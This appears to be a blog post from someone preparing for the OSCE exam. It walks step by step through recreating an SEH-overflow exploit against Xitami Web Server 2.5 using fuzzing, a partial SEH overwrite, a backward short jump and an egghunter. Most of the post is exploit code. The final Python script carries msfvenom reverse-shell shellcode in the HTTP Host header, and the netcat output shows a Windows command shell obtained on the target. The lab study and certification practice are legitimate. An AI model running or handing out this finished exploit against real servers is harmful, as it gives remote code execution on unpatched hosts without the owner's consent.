CTP/OSCE Prep -- Xitami Webserver 2.5 SEH Overflow With Egghunter
Introduction
This series of posts will focus on the concepts I’m learning/practicing in preparation for CTP/OSCE. In this series of posts, I plan on exploring:
- fuzzing,
- vanilla EIP overwrite,
- SEH overwrite, and
- egghunters.
Writing these entries will force me to become intimately familiar with these topics, and hopefully you can get something out of them as well!
This particular post is about recreating an SEH Overwrite from an ExploitDB entry. IF you’ve never done an SEH-based overflow, check out my first post on the topic!
Finding a Candidate Exploit
Searching ExploitDB for ‘SEH’ and one of the first entries is the Xitami Web Server 2.5 SEH Overflow. By glancing at the exploit it looks like it utilizes an egghunter and also stores the final shellcode separately from the payload that crashes the application. It also uses a partial overwrite for the Next SEH handler pointer. This should be a great exercise for us to troubleshoot our way through. You can download the application from here.
Fuzzing
In the last post we fuzzed another HTTP service and the boofuzz
script only really fuzzed the first part of the request header. I wanted a way to dynamically create boofuzz
scripts based on the HTTP requests actually sent to the web application, so I created a script to do just that.
Introducing Boo-Gen!
Boo-Gen is a simple Python script which uses an example HTTP request (right now just the headers) to generate a boofuzz
script. It should function dynamically and work with any headers that follow a Parameter: Value
paradigm. All you need is an example .txt
file with your HTTP request.
First, we want to grab a template HTTP request for the web application. Using Burpsuite, I just browsed to the address of the webserver and grabbed the GET
request and saved it to a file called get.txt
.
Right-clicking anywhere in the GET
request and selecting ‘Copy to file’ within Burp allows us to save the request a .txt
file. Now we just need to feed this request to Boo-Gen and let it do its thing. We will not specify an output file name with the -f, --filename
flag and will instead let it default to http.py
.
root@kali:~/OSCE/ # python boo-gen.py get.txt
We can now open the newly created http.py
file and inspect its contents.
#!/usr/bin/env python
# Designed for use with boofuzz v0.0.9
from boofuzz import *
def main():
session = Session(
target=Target(
connection=SocketConnection("127.0.0.1", 80, proto='tcp')
),
)
s_initialize(name="Request")
with s_block("Request-Line"):
s_group("Method", ['GET', 'POST'])
s_delim(" ", name='space-1', fuzzable = False)
s_string("/", name='Request-URI', fuzzable = False)
s_delim(" ", name='space-2', fuzzable = False)
s_string("HTTP/1.1", name='HTTP-Version', fuzzable = False)
s_delim("\r\n", name='return-1', fuzzable = False)
s_string("Host:", name="Host", fuzzable = False)
s_delim(" ", name="space-3", fuzzable = False)
s_string("192.168.1.201", name="Host-Value", fuzzable = False)
s_delim("\r\n", name="return-2", fuzzable = False)
s_string("User-Agent:", name="User-Agent", fuzzable = False)
s_delim(" ", name="space-4", fuzzable = False)
s_string("Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0", name="User-Agent-Value", fuzzable = False)
s_delim("\r\n", name="return-3", fuzzable = False)
s_string("Accept:", name="Accept", fuzzable = False)
s_delim(" ", name="space-5", fuzzable = False)
s_string("text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", name="Accept-Value", fuzzable = False)
s_delim("\r\n", name="return-4", fuzzable = False)
s_string("Accept-Language:", name="Accept-Language", fuzzable = False)
s_delim(" ", name="space-6", fuzzable = False)
s_string("en-US,en;q=0.5", name="Accept-Language-Value", fuzzable = False)
s_delim("\r\n", name="return-5", fuzzable = False)
s_string("Accept-Encoding:", name="Accept-Encoding", fuzzable = False)
s_delim(" ", name="space-7", fuzzable = False)
s_string("gzip, deflate", name="Accept-Encoding-Value", fuzzable = False)
s_delim("\r\n", name="return-6", fuzzable = False)
s_string("Connection:", name="Connection", fuzzable = False)
s_delim(" ", name="space-8", fuzzable = False)
s_string("close", name="Connection-Value", fuzzable = False)
s_delim("\r\n", name="return-7", fuzzable = False)
s_string("Upgrade-Insecure-Requests:", name="Upgrade-Insecure-Requests", fuzzable = False)
s_delim(" ", name="space-9", fuzzable = False)
s_string("1", name="Upgrade-Insecure-Requests-Value", fuzzable = False)
s_delim("\r\n", name="return-8", fuzzable = False)
s_string("If-Modified-Since:", name="If-Modified-Since", fuzzable = False)
s_delim(" ", name="space-10", fuzzable = False)
s_string("Sat, 15 Jun 2019 01:36:09 GMT", name="If-Modified-Since-Value", fuzzable = False)
s_delim("\r\n", name="return-9", fuzzable = False)
s_string("Cache-Control:", name="Cache-Control", fuzzable = False)
s_delim(" ", name="space-11", fuzzable = False)
s_string("max-age=0", name="Cache-Control-Value", fuzzable = False)
s_delim("\r\n", name="return-10", fuzzable = False)
s_static("\r\n", name="Request-Line-CRLF")
s_static("\r\n", "Request-CRLF")
session.connect(s_get("Request"))
session.fuzz()
if __name__ == "__main__":
main()
Comparing this output file to our get.txt
file and everything looks the way it should! Notice that everything right now is set to fuzzable = False
which means, as is, our boofuzz
script will only send requests that match our get.txt
file. We will have manually enable fuzzing for each parameter we want to fuzz. This is just a personal taste, if you don’t like this approach, feel free to just delete instances of fuzzable = False
in boo-gen.py
. Also change the IP address and port if necessary :)
Getting Fuzzy
After spending quite a long time fuzzing the application, I was unable to get it to crash. Eventually I had to peek at the ExploitDB PoC script and determine how they were able to make the application crash. It turns out the If-Modified-Since
parameter in our boofuzz
script is vulnerable; however, it actually requires the parameter value to be prepended by a day and a space. So it needs to look like this: If-Modified-Since: Wed, <fuzzing-payload>
.
So we need to alter our boofuzz
script slightly, in particular these few lines:
s_string("If-Modified-Since: Sat,", name="If-Modified-Since", fuzzable = False)
s_delim(" ", name="space-10", fuzzable = False)
s_string("15 Jun 2019 01:36:09 GMT", name="If-Modified-Since-Value")
"If-Modified-Since"
now has the day included along with a comma. This entity will not be fuzzed as it’s set to fuzzable = False
. The "If-Modified-Since-Value"
entity has been shortened and we have deleted the fuzzable declaration so now it will be fuzzed.
Sending this to our webserver nets us our crash!
So, lesson learned on that one. Fuzzing is not always just about smashing applications with data, we should be intelligently fuzzing applications. Looking at the Mozilla.org Documentation for ‘If-Modified-Since’, it looks like the overflow occurs on the ‘
So now that we have our crash, let’s replicate it:
import socket
import sys
host = "192.168.1.201"
port = 80
crash = "A" * 1000
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.1.201\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
This also nets us our crash and we can see that we have overwritten both 4 byte components of the SEH chain.
POP POP RET
At this point we know the drill. First we have to find our offset to the SEH overwrite and then let mona find us a POP POP RET
address. Mona tells us that our offset is at 304. Let’s ensure we are correct and send the following payload:
import socket
import sys
host = "192.168.1.201"
port = 80
seh = "BBBB"
nseh = "CCCC"
#PO @ 304
crash = "A" * 304
crash += nseh
crash += seh
crash += "D" * (1000 -len(crash))
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.1.201\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
Looks like we were correct.
Time to find a POP POP RET
. !mona seh
nets us a small list of gadget addresses we can use; however, there is a problem. All of the addresses start with 00
which we cannot have in our shellcode.
The workaround here is that we need to overwrite only the first 3 bytes of the current SEH address and let the program fill in the nullbyte for us. To test this, let’s send this payload with a 3 byte value for seh
:
import socket
import sys
host = "192.168.1.201"
port = 80
seh = "\x84\xf5\x44"
nseh = "CCCC"
#PO @ 304
crash = "A" * 304
crash += nseh
crash += seh
crash += "D" * (1000 -len(crash))
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.1.201\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
So we are almost there. We get a value of 4444f584
and we need 0044f584
. I couldn’t immediately tell where that extra 44
byte came from but when I looked at the stack, it became apparent that it’s from our D
buffer!
Let’s delete our D
buffer from our payload and see what happens.
import socket
import sys
host = "192.168.1.201"
port = 80
seh = "\x84\xf5\x44"
nseh = "CCCC"
#PO @ 304
crash = "A" * 304
crash += nseh
crash += seh
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.1.201\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
Resending this payload gets us our correct POP POP RET
address overwritten into the current SEH!
Why does this work?
Well, let’s see what the address is if we don’t overwrite any part of it. Let’s comment out our seh
variable and just send the payload that crashes the application.
As you can see, it currently holds the value 00450800
. This would translate to: \x00\x08\x45\x00
in our script. So what we end up doing is just overwriting the 450800
value with our seh
variable and let the 00
on the end remain giving us our valid address.
Jumping
After we take our POP POP RET
we end up as planned in our nseh
4 byte space of CCCC
. Unlike our normal situation where we jump over the current SEH and into our D
buffer, we will have to jump backwards since there is no D
buffer for us to jump forward into.
Let’s first do some offset calcuations to see how large our buffer space is.
Offset.py
To do our calculations, I created a little offset helper script. We will first need to examine the stack and see what we have to work with.
It looks like our A
buffer begins at 0006FE48
; however, around 0006FE94
and 0006FEA4
we see that our buffer has been partially corrupted and filled with values of 00000055
and FFFFFFFF
. So we’ll have to make consider our A
buffer as starting at 0006FEA4
. Let’s let offset.py
determine our distance from where we currently sit to the “top” of our A
buffer.
We currently sit at 0006FF78
so let’s feed these values to offset.py
.
root@kali:~/OSCE/ # offset
Enter Address #1: 6ff78
Enter Address #2: 6fea4
[+] Hex offset: 0xd4
[+] Decimal offset: 212
[-] ESP Sub Adjust Opcodes: \x54\x58\x2c\x6a\x2c\x6a\x50\x5c
[+] ESP Add Adjust Opcodes: \x54\x58\x04\x6a\x04\x6a\x50\x5c
The script tells us our offset is 212 and since this is beyond a short jump, we do not get any JMP
opcodes back. 212 bytes is definitely not going to be enough for shellcode. We will have to use an egghunter. An egghunter is typically 32 bytes. Let’s jump backwards 50 bytes to make sure we have enough space for the egghunter and some cushion to spare. Once again, we can use offset.py
.
This time, we use the -j, --jump
flag to tell offset.py
that we want to get opcodes for a short jump. We then tell it the offset in decimal that we want to achieve.
root@kali:~/OSCE/ # offset -j
Enter offset in decimal: 50
[-] Negative jump opcodes: \xeb\xcc
[+] Positive jump opcodes: \xeb\x32
Excellent, offset.py
gives us our negative jump codes and we can put this value into nseh
. Let’s update our exploit script. Note that we added NOPs to nseh
just to pad out the rest of the 4 byte value.
import socket
import sys
host = "192.168.1.201"
port = 80
seh = "\x84\xf5\x44"
nseh = "\xeb\xcc\x90\x90"
#PO @ 304
crash = "A" * 304
crash += nseh
crash += seh
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.1.201\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
We land at 0006FF46
, let’s make sure our negative jump was correct.
root@kali:~/OSCE/ # offset
Enter Address #1: 6ff78
Enter Address #2: 6ff46
[+] Hex offset: 0x32
[+] Decimal offset: 50
[-] Negative jump opcodes: \xeb\xcc
[+] Positive jump opcodes: \xeb\x32
[-] ESP Sub Adjust Opcodes: \x54\x58\x2c\x32\x50\x5c
[+] ESP Add Adjust Opcodes: \x54\x58\x04\x32\x50\x5
Awesome, the offset is 50 bytes just like we planned. The trick with negative jumps is that you have to jump back through your jump instruction opcodes (2 bytes). So for a negative jump, you actually have to tell it to jump back n+2
bytes where n
is the desired offset. Calculating negative short jumps can be confusing as the values max out at 0x80
which comes right after the largest positive short jump value 0x7f
. So as the value grows after 0x80
(0x81, 0x82, ...0xff
), the length of the negative jump actually decreases! Luckily, offset.py
takes care of all that calcuation for us. We just give it our desired outcome in decimal.
Egghunter
We will use mona to generate an egghunter with the tag PWNS
. (!mona egg -t PWNS
)
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x50\x57\x4e\x53\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Let’s add this to our exploit code and make sure we jump to it appropriately. We already know the true start of our A
buffer is 0006FE48
. So let’s use offset.py
to tell us the offset to our current location for where we wanted to place our egghunter.
root@kali:~/OSCE/ # offset
Enter Address #1: 6fe48
Enter Address #2: 6ff46
[+] Hex offset: 0xfe
[+] Decimal offset: 254
[-] ESP Sub Adjust Opcodes: \x54\x58\x2c\x7f\x2c\x7f\x50\x5c
[+] ESP Add Adjust Opcodes: \x54\x58\x04\x7f\x04\x7f\x50\x5c
So we know we need to put 254 A
values before our egghunter. Let’s update our exploit script.
import socket
import sys
host = "192.168.1.201"
port = 80
seh = "\x84\xf5\x44"
nseh = "\xeb\xcc\x90\x90"
#Tag = PWNS
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x50\x57\x4e\x53\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
#PO @ 304
crash = "A" * 254
crash += egghunter
crash += "A" * (304 - len(crash))
crash += nseh
crash += seh
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.1.201\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
Checking our math, we see that after taking our negative jump, we land precisely on the beginning of our egghunter.
End Game
The only thing left for us to do now is to somehow lodge our shellcode in the program’s memory space so that our egghunter can find and execute it. I struggled here because I’d never really done this before. I had to peak at the ExploitDB PoC once again and saw that he lodged his shellcode as the value of another HTTP request header value. That’s pretty sick!
We haven’t checked for badchars at this point, so if we don’t get a call back it could be badchars or our shellcode not being placed in application memory. But since we’re lodging this final payload into the application memory somewhere that apparently has large buffer space (notice that we didn’t crash the application while fuzzing any other parameter besides If-Modified-Since
), we can try to head off badcharacter concerns by making the shellcode alphanumeric as these chars are less likely to be bad. We also musn’t forget that our final payload ought to be prepended with two instances of ‘PWNS’ so that our egghunter can identify it.
Shellcode in HTTP Request Parameter
Let’s generate our shellcode: msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.209 -f c -e x86/alpha_mixed
Let’s try stuffing it into the Host:
parameter in our HTTP request. Our final exploit code now looks like this:
import socket
import sys
host = "192.168.1.201"
port = 80
seh = "\x84\xf5\x44"
nseh = "\xeb\xcc\x90\x90"
#Tag = PWNS
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x50\x57\x4e\x53\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
shellcode = 'PWNSPWNS'
#msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192.168.1.209 -f c -e x86/alpha_mixed
#710 bytes
shellcode += ("\x89\xe6\xda\xdc\xd9\x76\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x49\x6c\x6b\x58\x6b\x32\x57\x70\x67\x70\x45\x50\x61\x70\x6e"
"\x69\x6d\x35\x70\x31\x4f\x30\x70\x64\x6e\x6b\x76\x30\x76\x50"
"\x4c\x4b\x50\x52\x46\x6c\x4e\x6b\x30\x52\x76\x74\x6e\x6b\x33"
"\x42\x61\x38\x44\x4f\x6c\x77\x71\x5a\x57\x56\x50\x31\x6b\x4f"
"\x4c\x6c\x55\x6c\x71\x71\x71\x6c\x65\x52\x34\x6c\x67\x50\x59"
"\x51\x48\x4f\x46\x6d\x66\x61\x6f\x37\x6a\x42\x59\x62\x53\x62"
"\x71\x47\x6c\x4b\x70\x52\x52\x30\x6e\x6b\x53\x7a\x55\x6c\x4c"
"\x4b\x42\x6c\x32\x31\x34\x38\x68\x63\x42\x68\x77\x71\x6e\x31"
"\x36\x31\x4c\x4b\x70\x59\x31\x30\x46\x61\x6e\x33\x4c\x4b\x42"
"\x69\x42\x38\x6b\x53\x64\x7a\x61\x59\x6c\x4b\x44\x74\x4c\x4b"
"\x66\x61\x6b\x66\x36\x51\x79\x6f\x4e\x4c\x49\x51\x68\x4f\x46"
"\x6d\x57\x71\x7a\x67\x45\x68\x6d\x30\x73\x45\x79\x66\x76\x63"
"\x71\x6d\x6c\x38\x65\x6b\x61\x6d\x34\x64\x43\x45\x6d\x34\x36"
"\x38\x4e\x6b\x50\x58\x56\x44\x65\x51\x38\x53\x45\x36\x6e\x6b"
"\x54\x4c\x42\x6b\x6c\x4b\x62\x78\x35\x4c\x43\x31\x38\x53\x4e"
"\x6b\x73\x34\x6e\x6b\x57\x71\x68\x50\x4c\x49\x31\x54\x67\x54"
"\x34\x64\x71\x4b\x33\x6b\x51\x71\x36\x39\x61\x4a\x53\x61\x59"
"\x6f\x4d\x30\x43\x6f\x31\x4f\x73\x6a\x4c\x4b\x77\x62\x4a\x4b"
"\x6c\x4d\x33\x6d\x31\x78\x64\x73\x50\x32\x35\x50\x73\x30\x52"
"\x48\x44\x37\x34\x33\x64\x72\x31\x4f\x46\x34\x75\x38\x72\x6c"
"\x70\x77\x35\x76\x74\x47\x4b\x4f\x4b\x65\x68\x38\x4c\x50\x35"
"\x51\x63\x30\x43\x30\x37\x59\x38\x44\x46\x34\x76\x30\x63\x58"
"\x35\x79\x4b\x30\x52\x4b\x43\x30\x6b\x4f\x6b\x65\x30\x50\x46"
"\x30\x30\x50\x66\x30\x43\x70\x52\x70\x71\x50\x50\x50\x31\x78"
"\x58\x6a\x36\x6f\x49\x4f\x79\x70\x69\x6f\x6e\x35\x6a\x37\x61"
"\x7a\x73\x35\x70\x68\x39\x50\x4d\x78\x43\x31\x4e\x31\x61\x78"
"\x56\x62\x45\x50\x35\x51\x4d\x6b\x6e\x69\x79\x76\x32\x4a\x56"
"\x70\x52\x76\x72\x77\x73\x58\x6c\x59\x6f\x55\x52\x54\x73\x51"
"\x59\x6f\x6e\x35\x4c\x45\x79\x50\x73\x44\x54\x4c\x4b\x4f\x32"
"\x6e\x65\x58\x73\x45\x48\x6c\x75\x38\x4a\x50\x6d\x65\x6e\x42"
"\x53\x66\x59\x6f\x68\x55\x42\x48\x32\x43\x30\x6d\x62\x44\x65"
"\x50\x4f\x79\x4d\x33\x32\x77\x73\x67\x52\x77\x55\x61\x39\x66"
"\x62\x4a\x77\x62\x46\x39\x30\x56\x4d\x32\x4b\x4d\x62\x46\x58"
"\x47\x71\x54\x45\x74\x35\x6c\x43\x31\x45\x51\x6c\x4d\x63\x74"
"\x75\x74\x72\x30\x6b\x76\x47\x70\x67\x34\x63\x64\x30\x50\x50"
"\x56\x53\x66\x72\x76\x31\x56\x36\x36\x70\x4e\x56\x36\x56\x36"
"\x73\x63\x63\x66\x35\x38\x44\x39\x48\x4c\x35\x6f\x4d\x56\x59"
"\x6f\x6b\x65\x4b\x39\x49\x70\x62\x6e\x56\x36\x32\x66\x59\x6f"
"\x76\x50\x45\x38\x77\x78\x6d\x57\x67\x6d\x63\x50\x59\x6f\x6b"
"\x65\x6f\x4b\x7a\x50\x4c\x75\x4e\x42\x61\x46\x35\x38\x6d\x76"
"\x6e\x75\x4f\x4d\x4f\x6d\x59\x6f\x49\x45\x77\x4c\x54\x46\x61"
"\x6c\x34\x4a\x4f\x70\x59\x6b\x79\x70\x61\x65\x56\x65\x4d\x6b"
"\x37\x37\x42\x33\x42\x52\x62\x4f\x62\x4a\x65\x50\x53\x63\x6b"
"\x4f\x7a\x75\x41\x41")
#PO @ 304
crash = "A" * 254
crash += egghunter
crash += "A" * (304 - len(crash))
crash += nseh
crash += seh
req = "GET / HTTP/1.1\r\n"
req += "Host: " + shellcode + "\r\n"
req += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
req += "Accept-Language: en-US,en;q=0.5\r\n"
req += "Accept-Encoding: gzip, deflate\r\n"
req += "Connection: close\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "If-Modified-Since: Wed, " + crash + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(req)
s.close()
Awesome!
root@kali:~/OSCE/ # nc -lvp 443
listening on [any] 443 ...
192.168.1.201: inverse host lookup failed: Unknown host
connect to [192.168.1.209] from (UNKNOWN) [192.168.1.201] 49172
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\IEUser\Downloads\xiopen_2_5\xitami-25\app>
Conclusion
This was a really cool exploit to recreate. I definitely got stuck on the things I hadn’t done before. The partial SEH overwrite, the placing final shellcode in another area of application memory, and creating some helper scripts were all really eye opening. Thanks for reading!